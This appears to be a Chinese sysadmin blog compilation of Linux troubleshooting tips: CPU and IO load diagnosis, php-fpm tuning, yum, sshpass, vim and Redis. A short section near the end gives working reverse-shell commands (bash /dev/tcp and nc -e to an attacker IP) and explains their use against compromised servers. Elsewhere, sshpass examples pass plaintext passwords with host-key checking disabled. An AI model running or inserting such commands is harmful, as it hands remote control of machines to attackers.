背景:面对一个不熟悉上面所跑哪些应用的16核心机器,出现负载到56这样的情况,而通过top命令后按P看CPU高的,也并不高,此时,可以想到的是某个核心太高,因为top里面默认的值是平均值,16个核心平均下来其CPU使用效率并不高,鉴于此,得在top输出时按下1,然后定位到某个核心高,才能有的放矢的查看该CPU上跑了哪些应用,贴个简单的命令吧,具体实践排查详细过程在:

实战,/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf :


Top命令下按1后第三行显示比较关键:
Cpu0  :  0.0%us,  0.0%sy,  0.0%ni,  0.0%id,100.0%wa,  0.0%hi,  0.0%si,  0.0%st
top命令的第三行“Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”

Kipmi0 占用100% CPU1核:
https://yq.aliyun.com/articles/15198

方法1:使用iotop工具
这是一个python脚本工具,使用方法如:iotop -o


方法2:使用工具dmesg
使用dmesg之前,需要先开启内核的IO监控:
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1


然后可以使用如下命令查看IO最重的前10个进程:
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10


方法3:使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           1.06    0.00    0.99    1.09    0.00   97.85


Device:    rrqm/s wrqm/s   r/s   w/s  rsec/s  wsec/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sda          0.49  17.29  1.74  6.75   23.47  200.18    11.73   100.09    26.33     0.10   12.25   5.73   4.87


找“await”值最大的设备(Device),如上的结果即为sda。


然后使用mount找到sda挂载点,再使用fuser命令查看哪些进程在访问,如:
# fuser -vm /data

==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签:负载高 nginx 休闲 apache linux
觉得写的非常好,以后会用到 ,所以转了过来,一切归原作者所有!
转自这里
服务器环境:redhat linux 5.5 , nginx , phpfastcgi


在此环境下,一般php-cgi运行是非常稳定的,但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢,我所遇到的php-cgi进程占用cpu资源过多的原因有:


1. 一些php的扩展与php版本兼容存在问题,实践证明 eAccelerater与某些php版本兼容存在问题,具体表现时启动php-cgi进程后,运行10多分钟,奇慢无比,但静态资源访问很快,服务器负载也很正常(说明nginx没有问题,而是php-cgi进程的问题),解决办法就是从php.ini中禁止掉eAccelerater模块,再重启 php-cgi进程即可


2. 程序中可能存在死循环,导致服务器负载超高(使用top指令查看负载高达100+), 需要借助Linux的proc虚拟文件系统找到具体的问题程序


3. php程序不合理使用session , 这个发生在开源微博记事狗程序上,具体表现是有少量php-cgi进程(不超过10个)的cpu使用率达98%以上, 服务器负载在4-8之间,这个问题的解决,仍然需要借助Linux的proc文件系统找出原因。


4. 程序中存在过度耗时且不可能完成的操作(还是程序的问题),例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}  


没有对传入的参数作任何初步检查,而且设置了永不超时,并且使用readfile一次读取超大文件,就可能存在以下问题:
A. 以http方式读取远程附件过度耗时
B. FTP无法连接时,如何及时反馈出错误?
C. readfile是一次性读取文件加载到内存中并输出,当文件过大时,内存消耗惊人


根据实验发现采用readfile一次性读取,内存消耗会明显增加,但是CPU的利用率会下降较多。如果采用分段读取的方式,内存消耗会稍微下降,而CPU占用却会明显上升。


对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。


以下是我逐步整理的故障排除步骤:


1. 得到占用cpu资源过多的php-cgi进程的pid(进程id), 使用top命令即可,如下图:
经过上图,我们发现,有两个php-cgi进程的cpu资源占用率过高,pid分别是10059,11570,这一般都是程序优化不够造成,如何定位问题的php程序位置?


2. 找出进程所使用的文件
/proc/文件系统保存在内存中,主要保存系统的状态,关键配置等等,而/proc/目录下有很多数字目录,就是进程的相关信息,如下图,我们看看进程10059正在使用哪些文件?
显然,使用了/home/tmp/sess_*文件,这明显是PHP的session文件, 我们查看这个session文件的内容为:view_time|123333312412


到这里,我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起, 那么剩余的事件就是检查包含view_time的所有php文件,然后修改之(比如改用COOKIE),这实话, 这个view_time并非敏感数据,仅仅记录用户最后访问时间,实在没必要使用代价巨大的session, 而应该使用cookie。


3. 找出有问题的程序,修改之
使用vi编辑以下shell程序(假设网站程序位于/www目录下)
#!/bin/bash
find /www/ -name "*.php" > list.txt

f=`cat ./list.txt`

for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done  
运行这个shell程序,将输出包含有view_time的文件, 对记事狗微博系统,产生的问题位于modules/topic.mod.class文件中
来自这里
大家好,公司有一台服务器上部署了mysql+php+apache!
但是发现apache有一个httpd进程占用很高的cup,请教有没有什么命令能查看到时什么文件调用了这个进程?

lsof -p 13321


http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html
Linux字符串md5,注意得echo -n ,-n就是去空格,如果不加 -n则会有空格输出:
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki")                 |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================

Linux系统有一个自带的生成密码的命令,这个命令异常强悍,可以帮助我们生成随机密码,要知道,现在的黑客无处不在,想一个难猜的密码还真的下点功夫,有了这个密码生成工具,就可以为管理员节省好多脑细胞啊,下面看下这个命令的使用:
安装mkpasswd的包:
yum install -y expect

[root@CentOS6 game-dir]# mkpasswd

JI>s64tyv

[root@centos6 game-dir]# mkpasswd -l 12

e/Hwyw8Kied6

[root@centos6 game-dir]# mkpasswd -l 12 -d 3

zas4Ery+5K8l

[root@centos6 game-dir]# mkpasswd -l 12 -c 4

ff9bT7b}npmM

[root@centos6 game-dir]# mkpasswd -l 12 -C 4

x3TwqtSKh}2T

[root@centos6 game-dir]# mkpasswd -l 12 -s 4

px}[aO8cF':8

[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4

;.8zW3dGiwmb@dyWO&

下面来简单介绍一下常用的参数含义:

usage: mkpasswd [args] [user]

where arguments are:

-l #      (length of password, default = 7)

                  指定密码的长度,默认是7位数

-d #      (min # of digits, default = 2)

                  指定密码中数字最少位数,默认是2位

-c #      (min # of lowercase chars, default = 2)

                  指定密码中小写字母最少位数,默认是2位

-C #      (min # of uppercase chars, default = 2)

                  指定密码中大写字母最少位数,默认是2位

-s #      (min # of special chars, default = 1)

                  指定密码中特殊字符最少位数,默认是1位

-v        (verbose, show passwd interaction)

                  这个参数在实验的时候报错,具体不知道。
数组成员调用你会吗?

比如数组:$arr=['apple','b'=>'banana'];

你一定会,就是用下标$arr[0],或者键名嘛$arr['b']。

调用键名这种情况在PHP里非常普遍,像是从数据库直接取来的成员都是数组加字段名。

但是你从来没觉得自己的代码有些怪怪的?
奇怪而正常的代码

现在我要循环一个数组,还要用它里边的成员,但是数组本身就是一个单词(为了让代码易懂)。

这个长单词再加上比较长的键名,感觉似乎乱乱滴啊!

比如我随便写点儿代码,这是我们可能经常遇到的:

//我只是简单地用if判断两个值相加是否大于总分,可是数组名加键名看起来超蛋痛有没有

//……好凌乱,猛一看还以为我写了个操作系统

if( $students['score'] + $students['last_score'] > $students['total_score']){

return;

}
如何让代码快乐?唯有extract

以上情况,你只需要提前作一个这样的操作:extract($students)

于是代码就清爽了一个数量级:

extract($students)

if( $score + $last_score > $total_score ){

return;
}
所以,extract()的作用呢,就是将关联数组中的键名当作变量名,把数组成员抽出来啦。

而我要给出的结论就是,操作关联数组,一定要有使用extract的意识!

抽出来是全局变量?

注意!抽出的数组会覆盖同名变量,但覆盖的目标抽出的位置有关,比如在函数中使用,就只是覆盖临时的局部变量。

怎么说呢,应当主要在函数中使用。

WHAT? 我不想覆盖已有变量!

可以我的王,你只需要再加一个参数EXTR_SKIP,上边的例子里会是这么写:

extract($students, EXTR_SKIP);
另外再告诉你一个小密秘我们还能用它生成统一前缀的变量,只要这样写:

extract($students, EXTR_PREFIX_ALL,'我是前缀');

//得到:$我是前缀score, $我是前缀$last_score, $我是前缀total_score
yum install -y sysstat

查看所有CPU内每一个处理器负载,刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1

点击在新窗口中浏览此图片


查看指定的处理器负载(-P 后的数字从0开始),刷新频率1S
mpstat -P 0 -P 1 1

点击在新窗口中浏览此图片

yum install -y iotop

查看进程IO
iotop

点击在新窗口中浏览此图片


cpu使用率低负载高,原因分析:
http://www.fblinux.com/?p=281


Linux 系统没有业务程序运行,通过 top 观察,类似如下图所示,CPU 很空闲,但是 load average 却非常高:
处理办法:
load average 是对 CPU 负载的评估,其值越高,说明其任务队列越长,处于等待执行的任务越多。
出现此种情况时,可能是由于僵死进程导致的。可以通过指令 ps -axjf  查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill,也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html
yum-config-manager命令找不到的解决方法:yum -y install yum-utils
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

背景:百度云是个好东西,Linux 下能命令行使用是最好不过的了。

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令


系统默认没有安装这个命令,这个命令在yum-utils 包里,可以通过命令yum -y install yum-utils 安装就可以了。
步骤一:先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz

步骤二:再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包:
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch

================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud


来自:http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html

实践如下:
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件:fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo

关闭打开仓库:
yum-config-manager --disable extras
extras之前没有enabled = *这项,而运行后,就有这一项了:
[extras]
  name=CentOS-$releasever – Extras
  baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
  gpgcheck=1
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
  enabled = 0
打开刚关闭的仓库:
yum-config-manager --enable extras
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 1


yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决

=========================================================================================================================================================================================
Package                                     架构                            版本                                  源                                                               大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release                          noarch                          0-2.el7.nux                           /nux-dextop-release-0-2.el7.nux.noarch                          3.5 k
为依赖而安装:
epel-release                                noarch                          7-9                                   epel                                                             14 k

事务概要
=========================================================================================================================================================================================
安装  1 软件包 (+1 依赖软件包)

总计:18 k
安装:
  nux-dextop-release.noarch 0:0-2.el7.nux                                                                                                                                                

作为依赖被安装:
  epel-release.noarch 0:7-9                                                                                                                      



yum clean all


yum install bcloud
已加载插件:fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article

https://access.redhat.com/articles/1320623

If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/

nux-dextop                                                                                                                                                        | 2.9 kB  00:00:00    
nux-dextop/x86_64/primary_db                                                  44% [=============================-                                      ]  32 kB/s | 745 kB  00:00:29 ETA




http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md
背景:自从有了nginx和php-fpm,就有502,这个经验公式有,但是502依然有,三点:1,很多小厂商vps搞了nginx还搞mysql把负载提起来了处理能力下降,业务本来逻辑就复杂处理时间长不说,还搞一些后台PHP调用计算的接口放crontab里面,逻辑运算稍微重点就导致PHP阻塞进程默认就不够用或阻塞后不够用出现502,或还会fd句柄也不够用。二、一下子来了个洪峰,本文讲到的,作者很好。三,配置进程数不当。

pm.start_server  #控制服务启动时创建的进程数,

pm.min_spare_servers  #控制最小备用进程数

pm.max_spare_servers  #最大备用进程数

spare_servers翻译成备用进程,不知道合适不适合,如果真这样,那我之前的配置就让人无奈了: pm.min_space_servers 20,pm.max_spare_servers 80,pm.max_children 80,会不会是因为备用的太多才导致502呢?



另外,下面的具体配置里面,注释中给出了计算pm.start_servers默认值的公式:

Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2
———————————————————————————————————
问题描述

最近有台服务器偶尔会报502错误,虽然量不多,每天就几十个,但是也必须得找到原因,避免让小问题变成大问题。

排查过程

502错误的原因,一般是对用户访问请求的响应超时造成的,一开始以为是请求量太大,超过了服务器目前的负载,但是查看了zabbix监控,发现问题时段的负载、内存、IO都没有非常明显的变化,服务器并没有达到繁忙的状态;查看这个时段请求的并发数,也不高。

然后查看nginx错误日志,发现该时段有如下报错:
connect to unix:/dev/shm/phpfpm.socket failed (11: Resource temporarily unavailable) while connecting to upstream

说明还是php-fpm进程不足导致的。

然后再观察问题时段的php-fpm进程数变化情况:
点击在新窗口中浏览此图片

发验证猜想

为了验证上面的这个猜测,我在测试环境做了一些尝试,即将php-fpm的pm.start_servers和pm.max_spare_servers都设置得比较小,然后进行ab测试,观察php-fpm创建子进程的速度,发现果然和猜测的一样,是非常慢的。当请求数比较多时,会因为创建php-fpm子进程的速度太慢,出现502的情况。

解决方案

增大php-fpm的pm.start_servers和pm.max_spare_servers的数值(最关键的是pm.max_spare_servers这个配置),保证请求量增加时,能够有足够的进程来处理请求,不需要在短时间内创建过多进程。现问题时段php-fpm的进程数确实有比较明显的变化,但是最高只到了75左右,并没有达到我们设置的pm.max_children的数值。

综上,结合502的特性,猜测:

是否是php-fpm子进程设置为dynamic模式,而我们的空闲进程数上限设置得比较低(目前设置的是35),然后当请求量增大时,创建子进程的速度跟不上请求增加的速度,进而导致部分请求无法得到响应,从而出现502?

验证猜想
示例:
### 客户端环境
- 需要收集日志的服务器上需安装~~`rsyslog-v8` 和 `rsyslog-kafka`扩展~~filebeat-5.2.0。

一、如何在Excel字体上面加删除线:
在开始字体那个姑且叫Tab吧,下面有一个小小的右下箭头,点它,在里面勾选删除线。
删除线:输入“ ”(注:1个空格),然后选“设置单元格格式——字体——删除线”,同时,选“设置单元格格式——对齐——垂直居中”。

选中区域——开始——字体——特殊效果(勾选删除线)——确定,如图:
来自:https://zhidao.baidu.com/question/500308554.html


二、 markdown 删除线:
~~ ~~包裹的文字会显示删除线
实践OK如下:
## 主要运维工作

### ~~Rsyslog~~

- ~~kafka地址~~
- ~~tag~~
- ~~broker~~


删除线
~~删除线~~

markdown编辑器中删除线语法的支持:
因为前端预览是js渲染的,后端输出php处理的,两者的markdown语法有差异
~~来做删除线被认为是不规范的markdown语法,js渲染那边会去掉。
来自:http://blog.csdn.net/maimiho/article/details/51926444
MySQL 5.6 警告信息 command line interface can be insecure 修复

mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.


在命令行输入密码,就会提示这些安全警告信息。
Warning: Using a password on the command line interface can be insecure.

注: mysql -u root -pPASSWORD 或 mysqldump -u root -pPASSWORD 都会输出这样的警告信息.
1、针对mysql
mysql -u root -pPASSWORD 改成mysql -u root -p 在输入密码即可.

2、mysqldump就比较麻烦了,通常都写在scripts脚本中。

解决方法:
对于 mysqldump 要如何避免出现(Warning: Using a password on the command line interface can be insecure.) 警告信息呢?

vim /etc/mysql/my.cnf
[mysqldump]
user=your_backup_user_name
password=your_backup_password

修改完配置文件后, 只需要执行mysqldump 脚本就可以了。备份脚本中不需要涉及用户名密码相关信息。

来自:http://880314.blog.51cto.com/4008847/1348413
其实这很简单,在Win10系统中点击开始按钮→设置→系统→默认应用,在“Web浏览器”中选择自己想要的浏览器就可以。
原因是我把Edge浏览器删除了,默认是Edge浏览器引起的,修改成安装的Chrome或其它浏览器如IE也就Ok了,弄得找了好久。



./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1

来自:http://blog.csdn.net/zzz_781111/article/details/7372024
背景:在用Ansible的脚本初始化环境时,在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。

CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64

注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:


CentOS5.x:

经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf  /usr/bin/crontab
vixie-cron-4.1-81.el5

crontab package in CentOS is vixie-cron.



service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]


On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie

From:http://www.zxsdw.com/index.php/archives/1151/
背景:在多台机器上同步一个文件,尤其是刚开始重装系统或没有ansible这样的运维工具,比如想批量给升级一下yum源,用rz 是可以的,如果十来台还成,上五十台就有点麻烦了。sshpass是个好东西,结合scp和shell能完成很多台机器的文件的拷贝,然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接,expect可能捕获的输出可能是yes啥的输出,spawn这个命令也是expect的rpm包的一个命令,但都得yum安装,这个引出新的安装问题,http://justwinit.cn/post/5089/,还是讲sshpass包。

关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64

sshpass: 用于非交互的ssh 密码验证

ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取


实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd


同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:


如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:

来自:http://jackxiang.com/post/8807/


$> sshpass -h

Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename Take password to use from file
   -d number Use number as file descriptor for getting password
   -p password Provide password as argument (security unwise)
   -e Password is passed as env-var "SSHPASS"
   With no parameters - password will be taken from stdin

   -h Show help (this screen)
   -V Print version information
At most one of -f, -d, -p or -e should be used

sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同

#从命令行方式传递密码

    $> sshpass -p user_password ssh user_name@192.168..1.2
    $> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .

#从文件读取密码

    $> echo "user_password" > user.passwd
    $> sshpass -f user.passwd ssh user_name@192.168..1.2

#从环境变量获取密码

    $> export SSHPASS="user_password"
    $> sshpass -e ssh user_name@192.168..1.2


[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31

#第一次操作可能没反应,可用下述参数解决

[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no

Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.

Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1

[root@nfs01 ~]# logout



[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no

Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41

[root@nfs01 ~]# logout

2、2、1#直接带密码连接服务器

[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31

Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41

[root@nfs01 ~]# logout

2、2、2#以文件形式保存密码连接服务器

[root@backup ~]# echo "123456">ssh.passwd

[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31

Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41

[root@nfs01 ~]# logout

Connection to 172.16.1.31 closed.

2、2、3#将密码写入变量

[root@backup ~]# export SSHPASS="123456"

[root@backup ~]# sshpass -e ssh 172.16.1.31

Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41

[root@nfs01 ~]# logout

Connection to 172.16.1.31 closed.

2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。

[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/

[root@nfs01 ~]# pwd

/root

[root@nfs01 ~]# ls -l hosts

-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts

[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/

anaconda-ks.cfg

hosts

install.log

install.log.syslog


3、总结

sshpass的优点:简单易用,速度会比expect快很多。

sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。

来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
ls /proc/8145/fd      #0,1给定和到socket里面了
https://help.aliyun.com/document_detail/206139.htm

xiangdong@kali-linux-bj-yz-10-10-0-136:~$
nc -lvvp 6767

[root@levoo-gateway_virtualrouter-ipforward_bj_rfls_10_10_0_3:/tmp]
bash -i >& /dev/tcp/10.10.0.136/6767 0>&1

来自:https://blog.csdn.net/weixin_50464560/article/details/123886779


反弹shell通常适用于如下几种情况:

目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
目标机端口被占用。
目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
背景:反弹是目标机主动连接攻击机,是指在控制的机器上开一个端口,在另一端被入侵的服务器上面开一个连接到公网服务器的IP和端口。
如,被控机上运行(相当于在一台生产服务器上面访问一个websocket不断开):
nc -e /bin/bash 10.10.0.136 4444

在控制机上面开端口,并能反过来控制那台发起连接的服务器,靠的是它上面的bash解析器:
nc -lp 4444
ls
anaconda-ks.cfg
pwd
/root
ls
anaconda-ks.cfg
cd /home/      
ls
10.10.0.1** #/home目录

阅读全文
使用”q/“命令打开了command-line窗口,这个窗口列出了我之前所查找的字符串。我现在想查找包含”check_swap“,于是先跳到第399行,把”check_tty“改为”check_swap“,然后按回车。此时vim就去查找包含”check_swap“位置了。这个例子比较简单,你可能觉得command-line窗口没什么必要,但如果你要查找的内容是一个很长的正则表达式,你就会发现它非常有用了。

一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:

let &titlestring = expand("%:p")
if &term == "screen"
  set t_ts=^[k
  set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
  set title
endif


如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html

二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG


n为指定的行数(如25)


25gg或者25G 跳转到第25行.


在命令模式下输入行号n


: n


如果想打开文件即跳转


vim +n FileName


查看当然光标所在的行
Ctrl+g

三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。


四、[ 移动到指定字符 ],这里发现t命令用不了:

上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。

“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。

“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。

这四个命令只在当前行中移动光标,光标不会跨越回车换行符。

可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。

“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。

来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
背景:对于一些Redis里所提供的数据结构,用Hash可能是用得最多的,为何呢?因为日常中很多东西都可以用它来表示。
把一个复杂的需要序列化的东西变为一个HashTable进行存储,利用Hash存储节约内存,这样还可能更快更少的消耗实现高并发:

<?php
/** 每天下达指令的也就是x权限(每种鸡蛋的上下限),
而r就是只有看温度的权限,而w就是有设置温度权限 **/

$arr = array(
    "tcp" =>array(
  "ip"=>"192.168.1.1",
  "fd"=>"2",
  "mac"=>"00-50-56-C0-00-08",
  "chineseName"=>"蛋壳108109",
  "EnglishName"=>"LevooAllCanBeHatch"
    ),
    "frame" =>array(
  array(
       "ip"=>"192.168.1.1",
       "fd"=>"2",
       "token"=>"jfdjfldjflkdjdjfkldf",
       "isconnected"=>0,
       "chmod"=>"rwx"

  ),
  array(
       "ip"=>"192.168.1.1",
       "fd"=>"2",  
       "token"=>"jfdjfldjflkdjdj1fkl2df",
       "isconnected"=>1,
       "chmod"=>"rw"
  
  ),
  array(
       "ip"=>"192.168.1.1",
       "fd"=>"2",
       "token"=>"jfdjfldjflkdjdjfk33ld22f",
       "isconnected"=>1,
       "chmod"=>"x"
  
  ),
      array(
       "ip"=>"192.168.1.1",
       "fd"=>"2",  
       "token"=>"jfdjfl323djdjfkld22f",
       "isconnected"=>1,
       "chmod"=>"rwx"
  
  ),
  array(
       "ip"=>"192.168.1.1",
       "fd"=>"2",
       "token"=>"jf1121fldjflkdjdjfkld22f",
       "isconnected"=>1,
       "chmod"=>"rwx"
  )
    )
);
print_r($arr);
echo json_encode($arr);
?>




命令示例:
    1. HSET/HGET/HDEL/HEXISTS/HLEN/HSETNX:
    #在Shell命令行启动Redis客户端程序
    /> redis-cli
    #给键值为myhash的键设置字段为field1,值为stephen。
    redis 127.0.0.1:6379> hset myhash field1 "stephen"
    (integer) 1
    #获取键值为myhash,字段为field1的值。
    redis 127.0.0.1:6379> hget myhash field1
    "stephen"
    #myhash键中不存在field2字段,因此返回nil。
    redis 127.0.0.1:6379> hget myhash field2
    (nil)
    #给myhash关联的Hashes值添加一个新的字段field2,其值为liu。
    redis 127.0.0.1:6379> hset myhash field2 "liu"
    (integer) 1
    #获取myhash键的字段数量。
    redis 127.0.0.1:6379> hlen myhash
    (integer) 2
    #判断myhash键中是否存在字段名为field1的字段,由于存在,返回值为1。
    redis 127.0.0.1:6379> hexists myhash field1
    (integer) 1
    #删除myhash键中字段名为field1的字段,删除成功返回1。
    redis 127.0.0.1:6379> hdel myhash field1
    (integer) 1
    #再次删除myhash键中字段名为field1的字段,由于上一条命令已经将其删除,因为没有删除,返回0。
    redis 127.0.0.1:6379> hdel myhash field1
    (integer) 0
    #判断myhash键中是否存在field1字段,由于上一条命令已经将其删除,因为返回0。
    redis 127.0.0.1:6379> hexists myhash field1
    (integer) 0
    #通过hsetnx命令给myhash添加新字段field1,其值为stephen,因为该字段已经被删除,所以该命令添加成功并返回1。
